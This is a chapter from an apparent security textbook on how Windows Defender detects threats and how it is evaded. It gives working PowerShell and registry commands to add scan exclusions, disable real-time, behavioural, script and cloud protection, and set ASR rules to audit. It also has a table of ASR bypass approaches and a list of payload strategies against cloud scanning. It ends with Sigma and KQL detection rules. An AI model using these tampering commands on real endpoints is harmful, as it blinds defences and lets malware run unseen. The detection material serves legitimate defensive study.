Chapter 184

Windows Defender Evasion

Windows Defender (Microsoft Defender Antivirus) is the default endpoint protection on every modern Windows installation. Understanding its detection layers — file scanning, behavioral monitoring, cloud lookup, ASR rules, and network inspection — is essential both for building evasion techniques and for hardening environments. Disabling or bypassing Defender requires admin rights; the attempts themselves are high-fidelity detection signals.

Scenario

You have admin access and need to execute a custom implant. Defender has already flagged two previous payloads. Rather than fighting signature detection with repeated payload modifications, you want to understand the full detection stack: what layers you must defeat, in which order, and what each bypass attempt looks like to a detection engineer with Sysmon + MDE telemetry. The goal is to understand why evasion works so you can detect attempts against your own environment.

Defender Detection Layers

Windows Defender detection stack (layered, ordered by when they fire): 1. File write scan (real-time protection) └ IOCP hook on file system filter driver └ File hash → local signature DB └ PE header heuristics (suspicious imports, entropy) 2. Cloud lookup (Block at First Sight) └ File hash → Microsoft cloud reputation └ New/rare files: block pending cloud verdict (up to 10s delay) 3. AMSI (in-process scan) └ PowerShell, VBScript, JScript, .NET, WMI └ Scans content BEFORE execution in script hosts └ Covered in depth in ch162 4. Behavioral monitoring (runtime) └ Kernel driver monitors API call sequences └ Process injection patterns, memory RWX, LSASS access 5. Attack Surface Reduction (ASR) rules └ Policy-based blocks on specific behaviors: Office spawning child process, PSExec/WMI launch, credential theft from LSASS, Win32 API from macro, etc. 6. Network inspection └ DNS sinkholing for known C2 domains └ IPS signatures on network connections Attacker must defeat: 1, 2, and 3 for initial execution; 4 and 5 for post-exploitation; 6 for C2 communication.

Path and Process Exclusions

# Defender exclusions disable scanning for specific paths, extensions, or processes.
# Adding an exclusion requires admin. The exclusion itself is a persistence aid:
# drop your payload in the excluded path and it won't be scanned on write or execute.
# Exclusions are also commonly misconfigured in enterprise — find existing ones first.

# Check existing exclusions:
Get-MpPreference | Select ExclusionPath, ExclusionExtension, ExclusionProcess

# Add exclusion for a directory (requires admin):
Add-MpPreference -ExclusionPath "C:\Temp\Tools"
Add-MpPreference -ExclusionProcess "powershell.exe"  # dangerous! disables PS scanning
Add-MpPreference -ExclusionExtension ".exe"          # disables ALL .exe scanning

# Via registry (same result, less obvious cmdlet):
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Temp" /t REG_DWORD /d 0 /f

# Find exclusions set via GPO (check HKLM policy keys):
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths"

# Defender uses process exclusions extensively in enterprise:
# Common misconfiguration: backup agents, AV scanners, pentest tools excluded.
# If C:\Program Files\SomeBackup\agent.exe is excluded from scanning,
# replacing that binary with your payload runs without any scan.

Defender Tampering via Registry and PowerShell

# Disable real-time protection (requires admin; logs Event 5001 in Defender event log):
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable via registry (GPO override path — only works if not managed by Intune/GPO):
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

# Tamper Protection: since Win10 1903, prevents modification of Defender settings
# via registry or PowerShell when enabled. Check status:
Get-MpComputerStatus | Select TamperProtectionSource, IsTamperProtected

# Tamper Protection bypass requires:
# 1. Sign in to Windows Security UI and disable it manually (requires physical/RDP access)
# 2. Intune/MDM policy override (requires MDM admin)
# 3. Kernel-level driver that writes to registry bypassing PPL protection
# 4. Exploit in MsMpEng.exe process itself

# Disable specific Defender features without full disable (may evade some tamper checks):
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true    # disables download scanning
Set-MpPreference -DisableScriptScanning $true    # disables AMSI for scripts
Set-MpPreference -MAPSReporting Disabled          # disables cloud lookup

ASR Rule Bypass

ASR RuleGUIDBypass approach
Block Office from creating child processesD4F940AB-401B-4EFC-AADC-AD5F3C50688AUse WMI/COM from Office macro instead of ShellExecute
Block credential stealing from LSASS9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2Indirect LSASS dump via MiniDumpWriteDump from custom process not in ASR watchlist
Block process creations from PSExec/WMID1E49AAC-8F56-4280-B9BA-993A6D77406CCOM-based WMI instead of wmic.exe; own SCM API calls
Block untrusted/unsigned processes from USBB2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4Sign the binary or run from a network path
Block Win32 API calls from Office macros92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7BUse .NET reflection instead of direct API calls in VBA
# Check ASR rule status:
Get-MpPreference | Select AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions

# Each rule has an action: 0=disabled, 1=block, 2=audit, 6=warn
# In audit mode: rule fires but doesn't block — still logs to Defender event log.
# Audit mode is the enterprise standard for pilot deployment.
# Attacker value: if audit-only, execute freely; events go to SIEM but nothing blocks.

# Set all rules to audit (requires admin — useful for red team assessment):
$ruleGuids = (Get-MpPreference).AttackSurfaceReductionRules_Ids
Set-MpPreference -AttackSurfaceReductionRules_Ids $ruleGuids `
    -AttackSurfaceReductionRules_Actions ($ruleGuids | ForEach-Object { 2 })

Cloud Protection and Block at First Sight

# Block at First Sight (BAFS): Defender sends unknown file hash to cloud.
# If unknown and suspicious: blocked pending cloud verdict (up to 10 seconds).
# Bypass approach: make the file "known" by ensuring it has been submitted before,
# or modify the file so its hash is unique and doesn't match known malware.
# The cloud system also scores PE files by behavior metadata, not just hash.

# Disable cloud-delivered protection (blocks BAFS and MAPS reporting):
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -CloudBlockLevel Disabled

# Check cloud protection status:
Get-MpComputerStatus | Select CloudProtectionEnabled, CloudBlockLevel

# Payload strategies against cloud detection:
# 1. Encrypted payload: the binary on disk is encrypted; decryption key arrives via C2.
#    Cloud sees an encrypted blob — no PE behavior to analyze. Stub must be clean.
# 2. Reflective loading: no payload file ever written to disk.
#    Cloud only scans files at write time — in-memory payloads bypass file scanning.
# 3. Legitimate binary execution: payload executed entirely within signed LOLBins.
#    Cloud doesn't flag signed Microsoft binaries.
# 4. Delayed execution: payload contains a 10+ day timer before malicious activity.
#    Cloud sandbox runs for <5 minutes; delayed payload appears benign.

Detection Engineering

title: Windows Defender Real-Time Protection Disabled
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID:
      - 5001   # Real-time protection disabled
      - 5010   # Scanning for malware/other sw disabled
      - 5012   # Scanning for viruses disabled
  condition: selection
level: critical
tags: [attack.defense_evasion, T1562.001]

title: Defender Exclusion Added via Registry or PowerShell
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains:
      - '\Windows Defender\Exclusions\Paths'
      - '\Windows Defender\Exclusions\Extensions'
      - '\Windows Defender\Exclusions\Processes'
  condition: selection
level: high
tags: [attack.defense_evasion, T1562.001]

title: ASR Rule Modified to Disabled or Audit State
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains: 'AttackSurfaceReductionRules'
    Details: '0'   # 0 = disabled; 2 = audit
  condition: selection
level: high

-- MDE KQL: Defender settings changed by non-system process
DeviceRegistryEvents
| where RegistryKey has "Windows Defender"
| where RegistryValueName in~ ("DisableRealtimeMonitoring",
                                "DisableBehaviorMonitoring",
                                "DisableAntiSpyware",
                                "MAPSReporting")
| where RegistryValueData == "1" or RegistryValueData == "0"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe", "SecurityHealthService.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessAccountName, RegistryKey, RegistryValueName, RegistryValueData

Q&A

Tamper Protection blocks registry and PowerShell modifications to Defender settings — what attack vectors still work against an endpoint with Tamper Protection enabled, and how does detection engineering account for them?

Tamper Protection uses PPL (Protected Process Light) to guard the MsMpEng.exe process and uses a kernel-mode driver to intercept and block write operations to Defender's registry keys and configuration files from non-PPL-trusted processes. This closes the most common administrative bypass paths: Set-MpPreference, direct registry writes, and file deletion of Defender's engine files all fail. However, several attack surfaces remain.

First, Intune/MDM policy override: Tamper Protection is specifically designed to yield to MDM policy. An attacker who compromises an account with Intune Device Configuration rights can push a policy that disables Tamper Protection or configures exclusions through the managed channel, which Defender treats as trusted. This is a privileged path, but it is a realistic concern in environments where Intune admin rights are not tightly scoped. Detection: Intune policy change events in the Entra ID audit log, specifically DeviceConfigurationPolicy change events targeting Defender configuration.

Second, the attack can avoid defeating Defender entirely. Techniques that live entirely in memory (reflective loading, process injection), use signed LOLBins, operate via behaviors not covered by ASR rules, or run fast enough to complete before Defender's behavioral engine correlates the activity do not require disabling Defender. The evasion shifts from "defeat the scanner" to "stay under its behavioral detection threshold." Detection engineering's answer is not to rely only on Defender-specific events but to maintain independent telemetry (Sysmon, network flow analysis, authentication logs) that does not depend on Defender being functional.

Third, kernel-level exploitation of Defender itself (CVEs in MsMpEng.exe, the Windows kernel, or kernel driver vulnerabilities in Defender's own minifilter) can bypass Tamper Protection by operating at a privilege level higher than PPL. These are rare, require exploit development, and are patched quickly — but they represent the ceiling of what a sophisticated attacker can do. Detection relies on kernel integrity monitoring (PatchGuard alerts, driver signing events) and behavioral anomaly detection at the hypervisor level in environments that can afford it.